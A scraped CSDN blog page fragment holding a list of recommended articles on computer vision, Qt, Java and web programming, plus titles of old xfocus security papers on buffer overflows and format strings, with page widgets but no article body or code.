如果出现 Could not find debuginfo pkg for dependency package glib Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.7.el6_0.5.x86_64 需要 [code="java"] 下操作在CentOS 6.1: 1 su 切换到root下 ...

走在左边 172

【项目实战】YOLOV5 +实时吸烟目标检测+手把手教学+开源全部

本原创项目长期更新,旨在完成校园异常行为实时精检测,做到集成+N次开发+优化(不止局限于调包)为止,近期将不断更新以下模型+数据+标注文件+教程。关注博主,Star 一下github,一起开始美妙的目标检测之路吧~~ 文章目录本原创项目长期更新,旨在完成校园异常行为实时精检测,做到集成+N次开发+优化(不止局限于调包)为止,近期将不断更新以下模型+数据+标注文件+教程。关注博主,Star 一下github,一起开始美妙的目标检测之路吧~~一、项目展示二、项目资源共享1:训练图片:香烟图片+吸烟手势+烟雾三、

cv君的博客 13万+

Python学习第32天:Web前端入门

本文介绍了Web前端开发三大核心技术:HTML、CSS和JavaScript。首先概述了HTML的发展历程和HTML5新特性,详细讲解了常用HTML标签如文本、列表、链接、图像、表格、表单等。其次介绍了CSS的基础语法、选择器、颜色字体设置、盒子模型和布局定位方法。最后简要提及JavaScript为网页添加交互功能的作用。文章为Python开发者提供了前端技术的基础知识,帮助理解网页的结构、样式和行为实现原理。

tigerhhzz的博客 1912

【分析】一种新的File Stream Overflows(FSO)

一种新的File Stream Overflows(FSO)创建时间:2003-04-10文章属性:整理文章来源:http://www.xfous.org/文章提交:alert7 (sztcww_at_sina.com)一种新的File Stream Overflows(FSO)        by alert7 主页: http://www.xfocus.org/  http://www.whi

FreeXploiT 1319

ROS & ROS2 机器人深度相机激光雷达多传感器标定工具箱

不过,多传感器标定工具箱允许通过编辑 yaml 文件来调整标定目标的参数: <repository>/mutlisensor_calibration/cfg/TargetWithCirclesAndAruco.yaml%YAML:1.0rows: 4cols: 1dt: irows: 4cols: 2dt: frows: 1cols: 12dt: fCAD 模型网格/云通过 GICP 将模型数据与分割点云对齐,用于优化检测到的目标姿态。

2506_90492529的博客 2109

【分析】非安全编程演示之高级缓冲区溢出篇

非安全编程演示之高级缓冲区溢出篇创建时间:2001-11-09文章属性:原创文章来源:http://xfocus.org/文章提交:alert7 (sztcww_at_sina.com)非安全编程演示之高级缓冲区溢出篇作者:alert7 主页: http://www.xfocus.org/  http://www.whitecell.org/公司:华泰网安 http://www.netguard.

FreeXploiT 1308

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

【分析】非安全编程演示之格式化字符串篇

非安全编程演示之高级篇创建时间:2002-01-17文章属性:原创文章来源:http://www.xfocus.org/文章提交:alert7 (sztcww_at_sina.com)非安全编程演示之高级篇by alert7 主页: http://www.xfocus.org/  http://www.whitecell.org/ 公司:华泰网安 http://www.netguard.com.c

FreeXploiT 1387

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

【分析】非安全编程演示之高级缓存区溢出(version1.2)

非安全编程演示之高级缓存区溢出(version1.2)创建时间:2002-12-19文章属性:翻译文章来源:http://packetstormsecurity.nl/papers/general/core_vulnerabilities.pdf文章提交:Ph4nt0m (axis_at_ph4nt0m.net)题目:非安全编程演示之高级缓存区溢出版本:1.2更新:2002.12.13版权所有:h

FreeXploiT 2055

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

JUC并发编程超详细详解篇

文章目录前言一、JUC并发编程简介及准备1.1.本系列讲解思路1.2.知识储备1.3.用到的依赖1.4.logback.xml 配置二、进程与线程2.1.进程与线程2.1.1.进程2.1.2.线程2.1.3.对比2.2.并行与并发2.2.1.两者区别直观解释2.3.应用2.3.1. 应用之异步调用(案例1)2.3.2.应用之提高效率(案例1)三、Java 线程3.1.本节主讲内容3.2.创建和运行线程3.2.1.方法一,直接使用 Thread3.2.2.方法二,使用 Runnable 配合 Thread3.

白大锅的博客,毕设WangLoveBai_999 7万+

不会编程也能从事网络安全行业吗?

提到网络安全,很多人的第一反应可能是:“这不是程序员的工作吗?”确实,在大众印象中,网络安全似乎与编程密不可分。毕竟,我们经常在电影或新闻中看到黑客们飞快地敲打键盘,屏幕上滚动着复杂的代码。这种印象让许多对网络安全感兴趣但不擅长编程的人望而却步。然而,现实情况比想象中要细分得多。网络安全是一个庞大而复杂的生态系统,远不止于编程这一个方面。这些知识为进入网络安全领域奠定了坚实的基础,而且不需要编程技能就能开始学习。

xx16755498979的博客 1263

【QT教程】QT6硬件高级编程入门 QT硬件高级编程

QT6概述QT6概述Qt 是一个跨平台的应用程序框架,它用于开发具有图形用户界面的应用程序,也可以用于开发非GUI程序,如控制台工具和服务器。Qt 被广泛用于开发桌面、嵌入式和移动应用程序,支持多种编程语言,如 C++、Python、Java 等。Qt6 是 Qt 系列的第六个主要版本,它在性能、安全性、可访问性和模块化方面进行了重大改进。Qt6 的主要特点模块化。

QT性能优化QT原理源码QT界面美化 1873

【QT教程】QT6硬件高级编程实战案例 QT硬件高级编程

QT6安全特性介绍QT6安全特性介绍在现代软件开发中,安全性是至关重要的一个方面。QT6,作为一款成熟的跨平台C++图形用户界面应用程序框架,提供了多种安全特性来帮助开发者构建安全、可靠的软件。在《QT6硬件高级编程实战案例》这本书中,我们将详细介绍QT6的安全特性,并展示如何将这些特性应用于实际的项目中。数据加密QT6提供了强大的加密库QCA(Qt Cryptographic Architecture),它支持多种加密和哈希算法。

QT性能优化QT原理源码QT界面美化 2887

java基础 —— 高级编程篇

java基础之高级编程

小熊的学习记录 2455

高级编程语言

高级编程语言是一种接近人类语言的编程语言,它允许开发者以一种更自然和直观的方式来编写代码。与低级语言(如汇编语言或机器语言)相比,高级语言提供了更多的抽象层,隐藏了底层硬件的细节,使得编程更加容易和高效。易读性:语法结构类似于自然语言,易于理解。易写性:简化了编程过程,减少了编写代码所需的工作量。可移植性:代码通常不依赖于特定的硬件或操作系统。结构化:支持结构化编程,使得代码组织更加清晰。丰富的内置功能:提供了大量的内置函数和库,简化了常见任务的实现。

Python老吕的博客 1532

QT网络高级编程

QT中的网络模块介绍QT网络高级编程——QT中的网络模块介绍在现代软件开发中,网络编程是不可或缺的一部分。QT框架作为一个跨平台的C++图形用户界面库,提供了丰富的网络功能,使得开发网络应用变得简单而高效。本章将介绍QT中的网络模块,并展示如何使用这些模块进行网络编程。QT网络模块概述QT的网络模块提供了一系列用于网络编程的类和方法,这些功能被封装在QNetwork和QNetworkAccessManager这两个主要类中。这些类提供了从低层次的数据传输到高层次的网页请求的功能。

QT性能优化QT原理源码QT界面美化 1915

linux高级编程 中文版 pdf下载,Linux系统分析与高级编程技术 PDF扫描版[5MB]

Linux系统分析与高级编程技术 内容简介:本书介绍Linux环境下的编程方法,内容包括Linux系统命令、Shell脚本、编程语言、系统内核、安全体系、X Window等,内容丰富、论述全面,涵盖了Linux系统有方方面面。编辑推荐本书介绍Linux环境下的编程方法,内容包括Linux系统命令、Shell脚本、编程语言、系统内核、安全体系、X Window等,内容丰富、论述全面,涵盖了Linux...

weixin_36337548的博客 769

从安全编程视角看高级计算机语言的设计缺陷与改进

本文从安全编程视角,深入剖析常见高级计算机语言如C、C++、Python、Java等在内存管理、输入验证、权限控制和并发编程等方面存在的设计缺陷,探讨这些缺陷引发的安全漏洞,并提出针对性的改进建议,旨在提升高级计算机语言安全性,为安全编程提供坚实支撑。同时,鼓励使用安全的内存管理库,如Safe C Library,它提供更安全的内存操作函数,自动处理内存分配和释放,降低出错风险。同时,鼓励使用更安全的并发编程模型,如C++的无锁编程、Java的并发包中的并发集合类,降低并发编程的出错概率。

2501_91530349的博客 350

高级篇:Python脚本(101-150)

中级篇点这里1.1 多线程编程.py 1.2 多进程编程.py 1.3 异步编程.py 1.4 协程和生成器协程.py 1.5 并发编程实战.py 2. 网络编程 (5个脚本) 2.1 Socket编程基础.py 2.2 HTTP客户端和服务端.py 2.3 WebSocket实时通信.py 2.4 网络协议实现.py 2.5 网络安全编程.py 5. 数据分析 (5个脚本) 5.1 数据分析基础.py 5.2 数据清洗和预处理.py 5.3 数据可视化分析.py 5.4 时间序列分析.py 5.5 高级数

ss810540895的博客 1106
上一篇: 【分析】利用格式化串覆盖*printf()系列函数本身的返回地址
下一篇: 【分析】如何写远程自动精确定位的format string exploit
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值